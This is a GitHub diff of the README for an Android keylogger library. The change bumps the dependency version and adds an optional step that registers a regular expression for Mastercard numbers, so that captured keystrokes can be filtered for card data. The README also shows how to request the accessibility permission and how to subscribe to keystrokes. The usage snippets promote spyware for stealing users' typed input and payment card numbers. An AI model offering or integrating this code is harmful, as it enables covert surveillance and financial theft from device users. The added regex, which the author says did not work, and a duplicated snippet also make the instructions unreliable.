File tree Expand file tree Collapse file tree 1 file changed +13
-2
lines changed Expand file tree Collapse file tree 1 file changed +13
-2
lines changed Original file line number Diff line number Diff line change @@ -12,14 +12,25 @@ allprojects {
12
12
2 . Add the dependency to your app's build.gradle
13
13
``` gradle
14
14
dependencies {
15
- implementation 'com.github.evilthreads669966:android_keylogger:1.2 '
15
+ implementation 'com.github.evilthreads669966:android_keylogger:1.3 '
16
16
}
17
17
```
18
18
3 . Request the accessibility service permission for your app.
19
19
``` kotlin
20
20
Keylogger .requestPermission(this )
21
21
```
22
- 4 . Subscribe to keystrokes
22
+ 4 . (optional) Add any regular expressions to match
23
+ ``` kotlin
24
+ // mastercard
25
+ // but this pattern wasn't working for me upon development. I am not very good with them.
26
+ Keylogger .addPattern(" ^5[1-5][0-9]{14}\\ $" )
27
+ ```
28
+ ``` kotlin
29
+ Keylogger .subscribe { entry ->
30
+ // do something with keystrokes here
31
+ }
32
+ ```
33
+ 5 . Subscribe to keystrokes
23
34
``` kotlin
24
35
Keylogger .subscribe { entry ->
25
36
// do something with keystrokes here
You can’t perform that action at this time.
0 commit comments